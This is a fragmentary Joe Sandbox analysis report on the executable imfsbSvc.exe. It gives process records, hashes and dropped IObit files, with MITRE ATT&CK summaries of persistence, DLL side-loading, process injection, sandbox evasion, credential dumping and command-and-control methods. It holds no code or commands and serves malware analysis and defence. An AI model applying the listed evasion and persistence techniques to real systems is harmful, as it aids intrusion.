Show Windows behavior

Target ID:	5
Start time:	07:22:04
Start date:	28/11/2024
Path:	C:\ProgramData\IObit\imfsbSvc.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\IObit\imfsbSvc.exe
Imagebase:	0x7ff734dd0000
File size:	347'344 bytes
MD5 hash:	CA73DA8345DE507AC023D52B4B5C1814
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:22:04
Start date:	28/11/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\winlogon.exe
Imagebase:	0x7ff7ac560000
File size:	944'128 bytes
MD5 hash:	A987B43E6A8E8F894B98A3DF022DB518
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:22:04
Start date:	28/11/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\winlogon.exe
Imagebase:	0x7ff7ac560000
File size:	944'128 bytes
MD5 hash:	A987B43E6A8E8F894B98A3DF022DB518
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	07:22:04
Start date:	28/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):
Commandline:	C:\Windows\explorer.exe
Imagebase:
File size:	4'849'904 bytes
MD5 hash:	5EA66FF5AE5612F921BC9DA23BAC95F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report imfsbSvc.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\IObit\DgApi.dll

C:\ProgramData\IObit\dbindex.dat

C:\ProgramData\IObit\imfsbDll.dll

C:\ProgramData\IObit\imfsbSvc.exe

C:\ProgramData\IObit\imfsbSvc.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

Windows Analysis Report
imfsbSvc.exe